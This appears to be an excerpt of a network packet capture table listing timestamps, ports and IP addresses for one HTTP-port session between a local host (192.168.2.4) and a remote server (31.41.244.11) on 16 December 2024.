Dec 16, 2024 21:02:34.034051895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.034904957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.034925938 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.034984112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.035810947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.035860062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.035911083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.036487103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.036931038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.036950111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.037002087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.037962914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.038009882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.177684069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.177714109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.177769899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.177853107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.177927971 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.178092003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.178164959 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.178718090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.178821087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.178884029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.178975105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.179749012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.179771900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.179812908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.180702925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.180763006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.181282043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.181335926 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.181783915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.181834936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.181896925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.181963921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.182743073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.182765961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.182806969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.182806969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.183731079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.183789968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.183828115 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.183876991 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.184791088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.184835911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.184886932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.184886932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.185792923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.185854912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.185920000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.185971975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.186820030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.186842918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.186896086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.187941074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.187963963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.187997103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.188026905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.188817024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.188873053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.189136982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.189279079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.189934969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.189956903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.189991951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.190023899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.190800905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.190824986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.190870047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.190901995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.191812038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.191855907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.191874027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.191903114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.192778111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.192857981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.192883015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.192929983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.193799973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.193856955 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.193938017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.194083929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.194793940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.194864988 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.194967031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.195033073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.195775986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.195826054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.195957899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.196091890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.196996927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.197019100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.197047949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.197081089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.197809935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.197860956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.197982073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.198122978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.198911905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.198934078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.198960066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.199011087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.199948072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.199970007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.200006962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.200041056 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.200856924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.200930119 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.201055050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.201139927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.201874971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.201960087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.201968908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.202334881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.202899933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.202944994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.203044891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.203109980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.203891039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.203952074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.204003096 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.204061985 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.204999924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.205079079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.205137968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.205876112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.205950022 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.205992937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.206042051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.206882000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.206939936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.206959963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.207007885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.207889080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.207947016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.207990885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.208040953 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.208892107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.208960056 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.209067106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.209120035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.209969044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.210002899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.210056067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.210931063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.210984945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.211046934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.211097956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.211916924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.211970091 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.212013006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.212061882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.212939978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.213002920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.213042974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.213165045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.214018106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.214039087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.214095116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.215190887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.215255976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.215306997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.215430975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.216172934 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.216245890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.216624022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.216674089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.217161894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.217183113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.217211962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.217243910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.218075991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.218097925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.218139887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.218172073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.219115019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.219165087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.219202042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.219250917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.220166922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.220187902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.220212936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.220243931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.221153021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.221200943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.221246958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.221299887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.221999884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.222105026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.222258091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.222306013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.223078012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.223130941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.223273993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.223354101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.224080086 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.224138975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.224158049 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.224206924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.225203991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.225277901 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.225352049 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.225409031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.226039886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.226094961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.226275921 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.226434946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.227096081 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.227149963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.227272987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.227354050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.228084087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.228132010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.228152990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.228207111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.229069948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.229127884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.229176998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.229223967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.230298042 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.230355978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374291897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374316931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374337912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374351025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374356031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374377966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374401093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374403000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374403000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374403000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374428034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374458075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374479055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374497890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374502897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374524117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374550104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374680996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374701977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374721050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.374728918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374762058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.374762058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.375566959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.375619888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.375670910 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.375716925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.376338959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.376391888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.376493931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.376543045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.377290964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.377338886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.377391100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.377439976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.378213882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.378268003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.378328085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.378376007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.379357100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.379409075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.379534960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.379585028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.380243063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.380297899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.380378962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.380429029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.381287098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.381335974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.381396055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.381445885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.382312059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.382330894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.382363081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.382395029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.383389950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.383441925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.383703947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.383754015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.384423971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.384443045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.384490013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.385313034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.385438919 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.385536909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.385585070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.386285067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.386357069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.386482954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.386533976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.387367010 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.387422085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.387433052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.387487888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.388406992 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.388453007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.388503075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.388555050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.389460087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.389513016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.389571905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.389780998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.390325069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.390381098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.390430927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.390480995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.391344070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.391376019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.391417980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.391418934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.392332077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.392390966 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.392441988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.392493010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.393412113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.393462896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.393476009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.393534899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.394433022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.394453049 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.394505024 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.395338058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.395390034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.395499945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.395550966 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.396390915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.396442890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.396501064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.396665096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.397387981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.397442102 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.397454023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.397500992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.398442984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.398463011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.398494005 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.398525000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.399435043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.399509907 CET	49812	80	192.168.2.4	31.41.244.11
